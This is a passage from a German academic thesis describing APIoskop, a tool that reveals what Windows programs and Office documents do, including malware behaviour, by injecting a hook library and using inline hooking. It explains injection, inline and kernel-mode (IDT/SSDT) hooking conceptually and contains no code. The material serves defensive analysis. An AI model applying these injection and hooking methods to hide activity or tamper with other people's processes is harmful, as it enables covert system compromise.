die zu hookende Funktion exportiert, implizit oder explizit geladen wurde. Und im Gegensatz zur Modifikation der EAT hat diese Art, Hooks zu installieren, auch Einfluss auf Prozesse, welche bereits komplett geladen wurden, da direkt der Code der Funktion im Speicher verändert wird, anstatt nur eine modifizierte Kopie der zu hookenden Funktion zu erstellen. Außerdem besteht beim Inline Hooking nicht das Problem des kleinen Zeitfensters. All das macht das Inline Hooking wohl zu einer der effektivsten und effizientesten Methoden, einen Hook zu installieren. Aber auch diese Methode ist nicht perfekt und bringt einige Nachteile mit sich: • Beim Überschreiben der ersten Instruktionen der Originalfunktion muss darauf geachtet werden, dass keine Instruktion zerstückelt wird. Sobald man eine Instruktion nur teilweise überschreibt, kommt es beim Sprung aus der Trampolinfunktion an die Stelle unmittelbar nach der Modifikation früher oder später zu einem Crash. 34 3.3. API-Hooking Ein möglicher Lösungsansatz besteht darin, die zu hookende Funktion zu disassemblieren und so sicher zu gehen, dass nur vollständige Instruktionen überschrieben werden. • Der Code der zu hookenden Funktion muss mindestens fünf Byte lang sein. Ist er kürzer, so wird durch die Modifikation mehr als nur die zu hookende Funktion überschrieben. Beim API-Hooking stellt dies allerdings kein großes Problem dar, da keine API-Funktion diese Mindestlänge unterschreitet. • Innerhalb der überschriebenen Instruktionen darf sich keine relative Sprunganweisung befinden. Ebenfalls darf im Rest der API-Funktion keine Sprunganweisung in die Instruktionen, die man überschrieben hat, existieren. 3.3.6. Hooking im Kernelmodus Die im vorangegangenen Kapitel beschriebenen Methoden, einen Hook zu installieren, basieren alle auf einer Installation im Benutzermodus. Ein völlig anderer Ansatz besteht darin, das Hooking tiefer im System anzusetzen. Wie in Kapitel 3.2.2 beschrieben, endet eine Aufrufkette nicht notwendigerweise im Benutzermodus, sondern dringt tiefer ins System ein, so dass die gewünschte Operation letzten Endes in dem höher privilegierten Kernelmodus ausgeführt wird. Auch im Kernelmodus bieten sich Gelegenheiten, einen Hook zu installieren. Dies lässt sich durch Gerätetreiber realisieren. Sobald eine gewünschte Operation Kernelrechte benötigt, beispielsweise um Daten von einem Datenträger oder aus geschützten Speicherbereichen zu lesen, muss ein Sprung in den Kernelmodus erfolgen. Möchte eine Funktion diesen Sprung veranlassen, so verwendet sie dafür entweder einen bestimmten Interrupt oder einen bestimmten Befehl. Abhängig ist dies von der Art des Prozessors, welcher im Computer verbaut ist. Bei x86Prozessoren, die älter sind als der Pentium II, wird der Interrupt 0x2E verwendet und bei denen, die neuer sind, der Befehl sysenter. Bei AMD-Prozessoren, neuer als ein K6, verwendet Windows den Befehl syscall. Ein numerisches Argument im Prozessorregister EAX gibt die Systemdienstnummer an, und ein weiteres Register, je nach Prozessortyp, verweist auf eine Liste mit Aufrufargumenten. Der Windows Kernel sucht in einer prozessoreigenen Interruptverteilertabelle (Interrupt Dispatch Table, IDT), welche den 256 möglichen Interrupts je eine Behandlungsroutine zuordnet, die entsprechende Routine heraus. Für den Interrupt 0x2E ist dies meist die Routine KiSystemService. Diese wiederum verwendet das im Register EAX hinterlegte Argument, um in einer Systemdienstverteilertabelle (System Service Dispatch Table, SSDT) die entsprechende Routine des Systemdienstes zu finden, und übergibt dieser die ebenfalls in einem Register hinterlegten Argumente. [uMER05] Zum einen lässt sich nun durch einen Gerätetreiber die IDT so abändern, dass bei einem Interrupt 0x2E nicht mehr die Routine KiSystemService aufgerufen wird, sondern stattdessen eine eigene Interruptbehandlungsroutine abgearbeitet wird. Und der andere Ansatzpunkt, um eigenen Code in die Aufrufkette hineinzuhängen, besteht darin, die SSDT so zu verändern, dass ein eigens geschriebener Systemdienst bei bestimmten Systemaufrufen verwendet wird. 35 Kapitel 3. Windowsgrundlagen und API-Hooking Aber auch das Hooking im Kernelmodus zu realisieren, bringt einige Nachteile mit sich. Die Implementierung ist nicht leicht, da ein Gerätetreiber programmiert werden muss. Dabei muss auf äußerste Präzision geachtet werden, da ein Fehler im Gerätetreiber das ganze System zum Absturz bringen kann. Außerdem resultiert ein einziger Aufruf einer API-Funktion in einer Reihe von Systemaufrufen. Dieses Missverhältnis macht es schwer, von den registrierten Systemaufrufen auf einen Aufruf einer API-Funktion zu schließen. [Wil06] 3.4. Zusammenfassung Zu Beginn dieses Kapitels wurde das Dateiformat einer unter Windows ausführbaren Datei erläutert. Dies nennt sich Portable Executable File Format und wird unter anderem von Anwendungen und Programmbibliotheken verwendet. Der Aufbau dieses Formats besteht aus mehreren Headern und Sektionen. Das erste Element ist der MS-Dos Header, welcher vom MS-Dos Stub gefolgt wird. Das anschließende Element, der für APIoskop interessanteste Header, ist der PE Header. In diesem befinden sich unter anderem die Import Adress Table (IAT) und die Export Adress Table (EAT), über welche sich Hooks installieren lassen. Abgeschlossen wird das Dateiformat von der Section Table und den einzelnen Sektionen, welche die eigentlichen Daten der Datei beinhalten. Im Unterkapitel 3.2 wurde die Windows API vorgestellt. Dies ist eine von Windows angebotene Programmierschnittstelle, welche aus mehreren Bibliotheken besteht. Die wichtigsten dieser Bibliotheken sind kernel32.dll, advapi32.dll, user32.dll und ws2_32.dll. Wegen der Trennung zwischen Benutzer- und Kernelmodus hat eine Benutzeranwendung keinen direkten Zugriff auf die Systemressourcen. Durch die Windows API kann solch eine Anwendung Windows veranlassen, systemnahe Operationen für dieses auszuführen. Funktionen der Windows API können weitere Funktionen aus dieser Schnittstelle aufrufen. Eine solche Reihe von sich gegenseitig aufrufenden Funktionen nennt man Aufrufkette. Neben der Windows API existiert noch eine weitere wichtige API in Windows – die Native API. Diese liegt in einer hierarchischen Sichtweise tiefer im System als die Windows API. Unterkapitel 3.3 befasst sich schließlich mit dem API-Hooking. Dies bezeichnet eine Technik, mit der es möglich ist, Funktionsaufrufe der Windows API abzufangen und auf selbstgeschriebene Funktionen umzulenken. Diese Funktionen nennt man HookFunktionen oder auch Callback-Funktionen. Nachdem kurz einige Einsatzmöglichkeiten dieser Technik vorgestellt wurden, ist eine Unterscheidung zwischen prozess- und systemweitem Hooking getroffen worden. Die erstere Variante bezeichnet das Abfangen der Funktionsaufrufe genau eines Prozesses und die zweite Variante das Abfangen der Funktionsaufrufe aller Prozesse eines Systems. Damit ein Prozess dazu gebracht werden kann, die Hook-Funktionen anstatt der originalen API-Funktionen aufzurufen, benötigt dieser Zugriff auf diese Funktionen. Aus diesem Grund wurden Methoden vorgestellt, wie eine Bibliothek, welche die HookFunktionen enthält, in fremde Prozesse injiziert werden kann. Die in diesem Kapitel vorgestellten Methoden der Injektion waren Windows-Hooks, die Injektion über die Re- 36 3.4. Zusammenfassung gistry und das Injizieren mittels eines Remote-Threads. Vollendet wird das API-Hooking durch die Installation der Hooks. Damit bezeichnet man das Verfahren, welches die Zielapplikation dazu zwingt, die injizierten HookFunktionen anstelle der originalen API-Funktionen zu benutzen. In diesem Kapitel wurden dazu folgende Verfahren erläutert: Installation mittels Proxy DLLs, die Modifikation der IAT und der EAT und das Inline Hooking, welches auch APIoskop verwendet. Neben den hier hauptsächlich vorgestellten Hooking-Techniken im Benutzermodus existieren auch Möglichkeiten, die Ablaufkontrolle eines Funktionsaufrufs im Kernelmodus unter seine eigene Kontrolle zu bringen. Diese Technik und ihre Möglichkeiten wurden kurz im letzten Unterkapitel 3.3.6 erläutert. 37 Kapitel 3. Windowsgrundlagen und API-Hooking 38 Kapitel 4. APIoskop Dieses Kapitel ist eine genaue Beschreibung von APIoskop. Zunächst wird die Arbeitsweise von APIoskop skizziert und auf dessen Bestandteile und deren Zusammenspiel näher eingegangen. Dieses Kapitel soll dazu dienen, dass der Leser besser nachvollziehen kann, wie APIoskop die Überwachung einer Zielapplikation durchführt und an die dadurch gesammelten Daten gelangt. Im nächsten Unterkapitel befindet sich eine Übersicht aller Funktionen und Möglichkeiten, die APIoskop seinen Benutzern zur Verfügung stellt. Im Unterkapitel 4.3 folgt eine Vorstellung der Benutzeroberfläche von APIoskop. Hier werden alle wichtigen Bestandteile der Fenster und deren Benutzung erläutert. Es wird das Hauptfenster vorgestellt, je ein Fenster zur Prozessauswahl, zur Auswahl von OfficeDokumenten, ein Fenster, in welchem die Einstellungen von APIoskop geändert werden können und eines, welches dem Benutzer mitgeschnittene Datagramme präsentiert. Desweiteren wird die Ausgabeliste, in welcher die registrierten Funktionsaufrufe dargestellt werden, genauer vorgestellt Anschließend wird auf die Implementierung von APIoskop eingegangen. Zuerst werden generelle Informationen zur Implementierung geliefert, und dann werden gezielt einzelne Teile der Implementierung genauer betrachtet. Diese genauere Betrachtung beginnt mit der Interprozesskommunikation (IPC). Hier wird zuerst das Grundgerüst dieser Kommunikation erläutert. Dadurch soll der Leser die einzelnen Komponenten der IPC, welche für die Übertragung der Nachrichten von der HookLibrary zum APIoskop-Hauptprogramm notwendig sind, kennen lernen. Innerhalb dieser Nachrichten befinden sich Informationen über die registrierten Funktionsaufrufe. Diese Informationen sind stets nach einem bestimmten Format strukturiert, welches in Unterkapitel 4.4.1.1 vorgestellt wird. Das nächste Unterkapitel beschäftigt sich mit einer zentralen Funktion, welche die Übertragung der Nachrichten für jede Hook-Funktion in Gang setzt. Und das letzte Unterkapitel zur IPC geht auf das Problem ein, wie APIoskop der HookLibrary die von ihr benötigten Parameter übergibt. Die Struktur der Hook-Funktionen, welche bei fast allen Funktionen sehr ähnlich ist, ist unter anderem Thema des Unterkapitels 4.4.2. Diese Struktur wird exemplarisch an drei konkreten Hook-Funktionen vorgestellt. Zuvor geht das Unterkapitel jedoch auf den Initialisierungsabschnitt der HookLibrary ein. Dort werden die einzelnen Hooks installiert, d. h. die Hook-Funktionen werden in den Programmablauf der Zielapplikation eingehängt. Zudem wird in diesem Unterkapitel erläutert, wie APIoskop aus den Argu- 39 Kapitel 4. APIoskop menten der Hook-Funktionen Informationen gewinnt, welche für seine Benutzer leicht verständlich sind. Eine Auflistung aller gehookten Funktionen findet sich in Anhang A. Abgeschlossen wird dieses Kapitel von einer Beschreibung, wie die Steuerung der Office-Anwendungen realisiert wird. Diese Anwendungen werden von APIoskop immer dann angesprochen, sobald Office-Dokumente untersucht werden sollen. 4.1. Funktionen Normalerweise ist es so, dass ein Benutzer eines Computerprogramms nur dessen nach außen sichtbares Verhalten mitbekommt. Viele Windowsprogramme benutzen zur Durchführung ihrer Aufgaben die von Windows angebotene Schnittstelle Windows API. Aber durch welche API-Funktionen diese Programme ihre Arbeit verrichten oder welche Funktionsaufrufe stattfinden, die keine sichtbaren Auswirkungen nach sich ziehen, bleibt dem Benutzer verborgen. Speziell Malware ist in den meisten Fällen so programmiert, dass deren schadhaftes Verhalten unentdeckt bleibt. Die Hauptfunktion von APIoskop besteht darin, die innere Arbeitsweise und die Aktivitäten anderer Programme offen zu legen. Dies ist durch das Hooken verschiedener APIFunktionen realisiert. Der Leser denke zum Beispiel an ein präpariertes Word-Dokument, das beim Öffnen Microsoft Word dazu veranlasst eine Verbindung ins Internet zu erstellen und heimlich Daten zu versenden. Würde Microsoft Word während solch einer Aktivität von APIoskop überwacht, so würden diese Aktionen transparent. Vorraussetzung ist natürlich, dass Microsoft Word für diese Aktionen die von APIoskop gehookten Funktionen benutzt. Bevor der Benutzer eine Überwachung startet, muss er sich einen laufenden Prozess aussuchen. Für diese Auswahl bietet APIoskop dem Benutzer einen Auswahldialog, in dem alle momentan laufenden Prozesse aufgelistet sind. Desweiteren bietet APIoskop verschiedene Einstellmöglichkeiten, wie beispielsweise eine Auswahl, welche Funktionen gehookt werden sollen oder wie diese farblich hervorgehoben werden. In Kapitel 4.3.4 werden diese Einstellungen näher erläutert. Nachdem der Benutzer eine Überwachung gestartet hat, werden ihm alle registrierten Funktionsaufrufe des ausgewählten Prozesses aufgelistet. Er hat die Möglichkeit, sich nur Funktionsaufrufe aus einem bestimmten Funktionsbereich anzeigen zu lassen oder die Liste der registrierten Funktionsaufrufe nach verschiedenen Kriterien zu sortieren. Damit beim Beenden von APIoskop die gelisteten Funktionsaufrufe nicht verloren gehen, kann auf Wunsch die Liste der registrierten Funktionsaufrufe gespeichert werden. Dafür stehen folgende Dateiformate zur Verfügung: als reines Textdokument, als eine HTML-Seite mit einer HTML-Tabelle oder als XML-Dokument. Wird die Ausgabe als HTML-Seite gespeichert, so werden auch die eingestellten Farben der Funktionsaufrufe in die HTML-Seite übernommen. Werden Funktionsaufrufe registriert, die ein Senden oder Empfangen von Daten bewirken, werden diese Daten von APIoskop aus dem Adressraum des überwachten Prozesses ausgelesen. Auf Wunsch können auch diese Daten abgespeichert werden. 40 4.2. Arbeitsweise von APIoskop Neben der Überwachung eines Programms können mit APIoskop auch Microsoft Office-Dokumente geprüft werden. Dazu wählt man in einem Auswahldialog einfach mehrere Word-Dokumente, Excel-Dateien oder PowerPoint-Präsentationen aus. Damit diese auf schädliches Verhalten hin überprüft werden können, werden die entsprechenden OfficeAnwendungen von APIoskop automatisch gestartet und dann überwacht. 4.2. Arbeitsweise von APIoskop Wie im Kapitel 3.3.3 bereits beschrieben, besteht eine Anwendung, welche eine Hookingtechnik einsetzt, in der Regel aus zwei Komponenten. Zum einen aus einer Bibliothek, die die Hook-Funktionen beinhaltet und in die zu überwachenden Anwendungen injiziert wird, und zum anderen aus einem Loader, dem die Aufgabe zukommt, diese Bibliothek zu injizieren und gegebenenfalls mit ihr zu kommunizieren. Auch APIoskop besteht aus diesen beiden Bestandteilen: 1. Hauptprogramm: Der erste dieser beiden Bestandteile ist das Hauptprogramm selber, welches mit der Datei APIoskop.exe gestartet wird. Das API-Hooking betreffend kommt dem Hauptprogramm die Rolle des Injektors zu. Nachdem sich der Benutzer einen Prozess ausgesucht hat, den er überwachen möchte, kann er mit Hilfe des Hauptprogramms eine Bibliothek in diesen Prozess injizieren. Zusätzlich ist das Hauptprogramm noch zum Empfangen von Nachrichten zuständig, die es von der injizierten Bibliothek zugeschickt bekommt. 2. HookLibrary: Dies ist eine Bibliothek (HookLibrary.dll) und bildet den zweiten Bestandteil des Hooksystems. Sie enthält alle Hook-Funktionen und ist dafür zuständig, dass die Hooks nach dem Laden in einen fremden Prozesskontext installiert werden. Registriert sie einen Aufruf einer gehookten Funktion, so verständigt sie das Hauptprogramm mit einer entsprechenden Nachricht und sorgt dafür, dass die aufgerufenen Funktionen ordnungsgemäß abgearbeitet werden. APIoskop 1. Prozessauswahl Zu überwachender Prozess 2. DLL injizieren 3. Kommunikation DLL mit HookFunktionen Abbildung 4.1.: Funktionsweise von APIoskop Abbildung 4.1 verdeutlicht die generelle Arbeitsweise von APIoskop und zeigt das Zusammenspiel seiner beiden Hauptkomponenten. Wird APIoskop gestartet, so kann sich 41 Kapitel 4. APIoskop der Benutzer in einem ersten Schritt einen der laufenden Prozesse aussuchen, der überwacht werden soll. Ein Prozess entspricht, grob betrachtet, einem Programm während seiner Ausführung. Entweder man nimmt noch ein paar Einstellungen vor, die später beschrieben werden, oder es wird sofort in einem zweiten Schritt die Bibliothek inklusive der Hook-Funktionen in den ausgewählten Prozess injiziert. Sofort nachdem die Bibliothek in den fremden Prozesskontext geladen wurde, wird deren Initialisierungsabschnitt ausgeführt. Dort werden die Hooks dann installiert, so dass die Funktionsaufrufe des fremden Prozesses abgefangen werden und auf die Hook-Funktionen umgeleitet werden (siehe Kapitel 4.4.2.1). Der dritte Schritt in der Funktionsweise von APIoskop besteht aus einer Kommunikation zwischen der injizierten Bibliothek und dem Hauptprogramm. Die Hook-Funktionen sind so geschrieben, dass sie bei ihrem Aufruf das Hauptprogramm über diesen Aufruf benachrichtigen und die Funktionalität der Originalfunktion erhalten bleibt (siehe Kapitel 3.3.5). 4.3. Benutzeroberfläche Um dem Benutzer das Injizieren der HookLibrary möglichst einfach zu gestalten, besitzt APIoskop eine graphische Benutzeroberfläche. Über diese kann der Benutzer einen Prozess auswählen, der überwacht werden soll. Zusätzlich stellt die Benutzeroberfläche auch die Resultate der Überwachung in Form einer Liste dar. Über das Hauptfenster von APIoskop erreicht der Benutzer auch alle weiteren Fenster von APIoskop, welche in den folgenden Unterkapiteln vorgestellt werden. In Abbildung 4.2 sieht man das Hauptfenster von APIoskop, und es sind die wichtigsten Bestandteile dessen Oberfläche markiert. 1. Ausgabeliste: Der wohl wichtigste Bestandteil von APIoskop ist die Ausgabeliste. Sobald APIoskop einen Aufruf einer gehookten API-Funktion durch das überwachende Programm registriert, werden in dieser Liste genaue Informationen über diesen Aufruf angezeigt. Jeder Eintrag der Ausgabeliste erhält eine fortlaufende Nummer. Eine detaillierte Erläuterung der Ausgabeliste erfolgt in Kapitel 4.3.2. 2. Prozessinformationen: Wird eine Überwachung gestartet, so werden in dieser Spalte nähere Informationen zu der Überwachung aufgelistet. Diese dienen als eine Art Logbuch. Für jede einzelne Überwachung wird hier der Name des überwachten Prozesses und seine Prozess-ID beziehungsweise der Pfad des zu prüfenden Office-Dokuments und das Datum und die Uhrzeit, zu der die HookLibrary in den Prozess injiziert wurde, angegeben. Daneben wird noch zusätzlich für jede durchgeführte Überwachung ein Zahlenbereich angezeigt. Dieser gibt Auskunft darüber, welcher Funktionseintrag der nummerierten Ausgabeliste dem jeweiligen Prozess, bzw. der entsprechenden Überwachung, zuzuordnen ist. Entscheidend ist diese Art der Zuordnung bei der automatisierten Überwachung von Office-Dokumenten, da diese jeweils in derselben Instanz ihrer Anwendung geöffnet werden und dann keine Zuordnung über die Prozess-ID möglich ist. 3. Toolbuttons: Die Toolbuttons sind dazu gedacht, dass der Benutzer die wichtigsten Funktionen von APIoskop schnell und leicht erreichen kann. Alle diese Funktionen sind aber auch über das Hauptmenü ansprechbar. Mit den ersten beiden Buttons lassen sich ein Prozess und Office-Dokumente auswählen. Die nächsten 42 4.3. Benutzeroberfläche Abbildung 4.2.: Hauptfenster von APIoskop drei dienen dem Starten und Stoppen der Überwachung und der letzte Button öffnet ein Fenster, über das sich APIoskop konfigurieren lässt. 4. Wahl des Funktionsbereichs: Wie in Kapitel 1.3 bereits erwähnt, überwacht APIoskop API-Funktionen aus vier Funktionsbereichen. Mit Hilfe dieser ComboBox kann sich der Benutzer wahlweise nur die registrierten Funktionsaufrufe aus einem dieser Funktionsbereiche oder alle registrierten Funktionsaufrufe anzeigen lassen. 5. Ausgabe löschen: Dieser Button löscht die gesamte Ausgabeliste. Zusätzlich werden die Prozessinformationen zurückgesetzt. Außerdem werden die gesicherten Datenpakete gelöscht, die das zu überwachende Programm verschickt bzw. empfangen hat und während einer Überwachung aufgezeichnet worden sind. 6. Gesendete Daten speichern: Dieser Button bietet dem Benutzer eine Möglichkeit, die aus dem Netzwerkverkehr des überwachten Programms mitgeschnittenen Daten in einer Textdatei zu speichern. In dieser Datei werden am Anfang ebenfalls die Prozessinformationen gespeichert, und vor jeden Datenblock werden nähere Informationen zu der entsprechenden API-Funktion geschrieben, damit eine spätere Zuordnung der Datenblöcke in der Textdatei zu den einzelnen Funktionsaufrufen 43 Kapitel 4. APIoskop möglich ist. 7. Statusleiste: Die Statusleiste zeigt während der gesamten Laufzeit den ausgewählten Prozess und die Anzahl der ausgewählten Office-Dokumente an. Zu beachten ist, dass es passieren kann, dass die Statusleiste einen Prozess anzeigt, der bereits nicht mehr existiert. Dies ist immer dann der Fall, wenn ein Prozess nach seiner Auswahl beendet wurde. Wird in so einem Fall versucht, die Überwachung dieses Prozesses zu starten, so informiert APIoskop den Benutzer über diese Tatsache und aktualisiert die Statusleiste. 4.3.1. Prozessauswahl Über den ersten Button der Toolbutton-Leiste, bzw. über das Hauptmenü, gelangt der Benutzer zu einem Fenster, in dem er sich einen Prozess aussuchen kann, der von APIoskop überwacht werden soll. Dieses Fenster, welches man in Abbildung 4.3 sieht, ist zweigeteilt. Im oberen Teil des Fensters werden alle aktuell laufenden Prozesse aufgelistet. Der Benutzer markiert den gewünschten Prozess und bestätigt seine Auswahl mit dem Button OK. Alternativ kann er auch den gewünschten Prozess doppelt in der Prozessliste anklicken. Zusätzlich kann er die Liste auch mit dem Button Aktualisieren auf den neusten Stand bringen. Dies ist zum Beispiel sinnvoll, wenn nach dem Öffnen dieses Fensters ein neuer Prozess erstellt wurde. Eine Checkbox bietet die Möglichkeit, alle laufenden Prozesse anzeigen zu lassen. Ist diese Option deaktiviert, so werden nur Prozesse des aktuell in Windows angemeldeten Benutzers angezeigt. Im unteren Teil des Fensters kann der Benutzer einen Pfad zu einer Anwendung eingeben. Über den Button Starten und Überwachen wird die angegebene Anwendung, nachdem der Benutzer dies bestätigt hat, gestartet und es wird sofort mit der Überwachung begonnen. Dabei wird die HookLibrary in die Anwendung injiziert, noch bevor deren Hauptthread seinen ersten Befehl ausführt. Über den Button Durchsuchen lässt sich auch mittels einer Dialogbox eine Anwendung aussuchen, die gestartet und überwacht werden soll. 4.3.2. Ausgabeliste Bemerkt die HookLibrary einen Aufruf einer gehookten API-Funktion, so benachrichtigt sie das Hauptprogramm über diesen Aufruf. Realisiert wird dies über eine Nachricht, welche die HookLibrary aus dem überwachten Prozess heraus an den Prozess des Hauptprogramms schickt (siehe Kapitel 4.4.1). Die gesendete Nachricht enthält alle wichtigen Informationen zu dem Funktionsaufruf, welche APIoskop dann mit Hilfe der Ausgabeliste dem Benutzer präsentiert. Alle registrierten Funktionsaufrufe werden durchgehend nummeriert, so dass sie mithilfe der Prozessinformationen je einer durchgeführten Überwachung zugeordnet werden können. Ebenfalls werden zu jedem Funktionsaufruf die Uhrzeit, zu dem der Aufruf registriert wurde, die Prozess-ID des Prozesses, der die Funktion aufgerufen hat, der 44 4.3. Benutzeroberfläche Abbildung 4.3.: Prozessauswahl Name der Funktion und gegebenenfalls ein Kommentar in der Ausgabeliste angezeigt. Wie in Kapitel 1.3 bereits erwähnt, überwacht APIoskop Funktionen aus vier Funktionsbereichen. Dies sind Funktionen, welche zum Verwalten von Prozessen, zum Zugriff auf das Dateisystem und angeschlossene Netzwerke und zum Benutzen der Registry verwendet werden. Eine ausführliche Auflistung der gehookten Funktionen befindet sich im Anhang A. Je nach Funktionsbereich werden unterschiedliche Angaben an das Hauptprogramm geschickt und auch in der Ausgabeliste dargestellt. Tabelle 4.1 bietet eine Übersicht über die angezeigten Informationen. Dabei bedeutet ein x in der Zelle (Spalte f, Zeile i ), dass die Information i für Funktionen aus dem Funktionsbereich f angezeigt wird. Dateisystem Nr x Uhrzeit x PID x Funktionsname x Dateiname x Hostname (IP) Port Bytes Schlüsselname Schlüsselwert Schlüsseltyp Ziel-PID Kommentar x Netzwerk Registry x x x x x x x x Prozess x x x x x x x x x x x x x x x Tabelle 4.1.: Informationen in der Ausgabeliste 45 Kapitel 4. APIoskop Viele dieser angezeigten Informationen sind selbsterklärend, wie zum Beispiel der Eintrag Nr oder der Funktionsname. Jedoch bedarf es bei einigen von ihnen noch einer kurzen Anmerkung. Der Eintrag Uhrzeit beinhaltet die genaue Uhrzeit, zu der die entsprechende APIFunktion aufgerufen wurde. Da Computer immer schneller werden und Programme sehr viele Funktionen pro Sekunde aufrufen können, wird die Uhrzeit auf eine Zehntel Millisekunde genau gemessen, um überhaupt noch einen Unterschied für diesen Eintrag zu erkennen. Es kann in seltenen Fällen auch durchaus vorkommen, dass ein neuer Eintrag in der Ausgabeliste eine frühere Uhrzeit aufweist als ein älterer Eintrag. Dies passiert immer dann, wenn eine Funktion A intern eine Funktion B aufruft, welche beide gehookt sind, und die Benachrichtigung über den Aufruf von A erst gesendet werden kann, wenn die Funktion B komplett abgearbeitet wurde. Der Eintrag PID enthält die Prozess-ID des Prozesses, der den Funktionsaufruf ausgelöst hat. Dieser Eintrag ist nötig, da neben dem ausgewählten Prozess auch automatisch alle seine erzeugten Kindprozesse überwacht werden. Die Spalte Bytes enthält für registrierte Funktionsaufrufe aus dem Bereich der Netzwerkfunktionen die Menge der gesendeten oder empfangenen Daten. Wird ein Funktionsaufruf, der erfolgreich ist, in dem Sinne, dass wirklich Daten befördert wurden und keine Fehler vorliegen, registriert, so enthält dieser Eintrag in der Spalte Bytes einen Wert größer oder gleich Null. APIoskop bietet dem Benutzer die Möglichkeit, diese Daten einzusehen. Um sich die gesendeten oder empfangenen Daten anzuschauen, muss der Benutzer lediglich auf einen Eintrag in der Ausgabeliste doppelklicken, der in dieser Spalte einen Wert größer als Null aufweist. Für Funktionen, die entweder für den Zugriff auf das Dateisystem oder für das Verwalten von Prozessen zuständig sind, ist der Eintrag Dateiname relevant. Bei ersteren Funktionen gibt dieser Eintrag die Datei an, welche von der aufgerufenen Funktion betroffen ist. Wird beispielsweise ein Aufruf der API-Funktion ReadFile registriert, so enthält der Eintrag Dateiname den Namen der Datei, aus welcher etwas gelesen werden soll. Im Falle einer Funktion aus dem Bereich der Prozessverwaltung enthält dieser Eintrag den Dateinamen der Datei, über welche der betroffene Prozess gestartet wird. Ruft das überwachte Programm zum Beispiel die Funktion TerminateProcess auf, um eine Instanz des Windows Editors zu schließen, so wird in diesem Eintrag notepad.exe angezeigt (diese Datei startet den Windows Editor ). Der Eintrag Ziel-PID ist ebenfalls für Funktionen aus dem Bereich der Prozessverwaltung interessant. Dieser beinhaltet die Prozess-ID des Prozesses, der Gegenstand der aufgerufenen Funktion ist. Bei dem zweiten Beispiel aus dem vorherigen Absatz würde in diesem Eintrag die Prozess-ID der Instanz des Windows Editors stehen, die durch den Aufruf von TerminateProcess beendet werden soll. Bei einigen Funktionen ist manchmal ein ergänzender Kommentar zu den Aufrufen notwendig. So lassen sich zum Beispiel mit der Funktion OpenFile nicht nur, wie der Funktionsname vermuten lässt, Dateien öffnen, sondern mit den entprechenden Argumenten auch löschen. Eine genaue Übersicht über die möglichen Kommentare und deren Bedeutung ist im Anhang B zu finden. 46 4.3. Benutzeroberfläche Mit Hilfe einer Combo-Box (siehe Bedienelement vier in der Abbildung 4.2) kann der Benutzer entscheiden, welche Funktionsaufrufe er in der Ausgabeliste angezeigt bekommen möchte. Es besteht die Möglichkeit, sich nur registrierte Funktionsaufrufe aus einem der vier Funktionsbereiche anzeigen zu lassen oder eben jeden Funktionsaufruf aus allen vier Funktionsbereichen. Stellt er nur einen Funktionsbereich ein, so werden nicht nur die registrierten Aufrufe aus den anderen Funktionsbereichen ausgeblendet, sondern auch alle Spalten der Ausgabeliste, die nicht für den ausgewählten Funktionsbereich relevant sind (siehe Tabelle 4.1). Die Spalten der Ausgabeliste sind per Drag and Drop verschiebbar. Der Benutzer kann die Reihenfolge der Spalten nach seinen Wünschen beliebig ändern. Dazu muss man einfach nur eine Spalte anklicken und sie mit der gedrückten Maustaste an die gewünschte Stelle befördern. So kann jeder Benutzer selbst entscheiden, welche Informationen er in der Ausgabeliste nebeneinander stehen haben möchte. Desweiteren ist die Breite jeder einzelnen Spalte änderbar. Ist ein Eintrag einer Zelle der Ausgabeliste zu breit, erkennt man dies an den drei Abkürzungspunkten am Ende des Eintrags. In solchen Fällen kann die Spaltenbreite angepasst werden, um den kompletten Eintrag sichtbar zu machen. Dazu muss man einfach mit der Maus die jeweilige Spalte in der Überschriftenzeile (das ist die allererste Zeile) der Ausgabeliste breiter ziehen. Oft interessiert man sich beispielsweise auch für alle registrierten Aufrufe einer bestimmten Funktion. Um nicht ständig durch die Ausgabeliste zu scrollen und jeden einzelnen Eintrag der Liste daraufhin zu untersuchen, ob dieser durch die gesuchte Funktion entstanden ist, kann man die Liste nach jeder beliebigen Spalte entweder aufsteigend oder absteigend sortieren lassen. Dazu klickt man auf den entsprechenden Spaltenkopf in der Überschriftenzeile. Daraufhin wird die gesamte Ausgabeliste nach dieser Spalte sortiert. Ein weiterer Klick auf denselben Spaltenkopf dreht die Sortierreihenfolge um. Hier sei erwähnt, dass die Sortierreihenfolge der Funktionsnamen nicht alphabetisch erfolgt, sondern sich nach einer intern verwendeten Nummer richtet, die jeweils eine der gehookten Funktionen repräsentiert. Die Reihenfolge, nach der die Funktionen in der Ausgabeliste sortiert werden, entspricht der Reihenfolge der Funktionen wie sie im Anhang A vorzufinden ist. Dessen ungeachtet erscheinen beim Sortieren nach Funktionsnamen die Funktionen desselben Typs untereinander. 4.3.3. Datenansicht Klickt der Benutzer doppelt auf einen Eintrag in der Ausgabeliste, welcher durch einen Aufruf einer Netzwerkfunktion entstanden ist, die Daten empfangen oder gesendet hat, so bekommt er in einem neuen Fenster eine Sicht auf diese Daten präsentiert. Dieses Fenster ist in Abbildung 4.4 im Vordergrund zu sehen. Zur besseren Übersichtlichkeit wurde dieses in der Abbildung ein wenig zusammengestaucht. Veranschaulicht werden die mitgeschnittenen Daten, wie es in einem Hex-Editor normalerweise üblich ist. Der Inhalt dieses Fensters lässt sich in drei Abschnitte unterteilen. In der linken Spalte, welche unten in der Abbildung mit der Nummer Eins gekennzeichnet ist, steht ein Offset in Hexadezimalschreibweise. Dieser gibt für jede Zeile an, wie viele der mitgeschnittenen Bytes sich oberhalb dieser Zeile befinden. 47 Kapitel 4. APIoskop Abbildung 4.4.: Datenansicht In dem mittleren Abschnitt des Fensters, markiert durch die Nummer zwei, befinden sich die eigentlichen Daten, welche von der Zielapplikation gesendet oder empfangen wurden. Dieser Abschnitt bietet eine hexadezimale Ansicht der Daten. Jede Zeile besteht in diesem Abschnitt aus vier Viererblöcken, um eine bessere Übersicht zu gewährleisten. Der letzte Abschnitt zeigt für jede Zeile nochmals dieselben Daten wie der vorangegangene Abschnitt an. In der Abbildung ist er durch die kennzeichnende Drei zu erkennen. Der Unterschied zum zweiten Abschnitt besteht darin, dass in dieser Spalte die Bytes der Daten als ASCII interpretiert werden. Zu beachten ist, dass nicht alle Bytes als druckbare ASCII-Zeichen zu interpretieren sind. Falls dies nicht so ist, wird an der entsprechenden Position das Zeichen ’.’ (Punkt) eingefügt. Dies kann beispielsweise passieren, wenn die Zielapplikation Binärdaten, etwa eine Bilddatei, empfängt oder sendet. 4.3.4. Einstellungen Die Einstellungen, die APIoskop für die Überwachung und die Anzeige der Funktionsaufrufe benutzt, lassen sich über ein Fenster ändern, welches in der 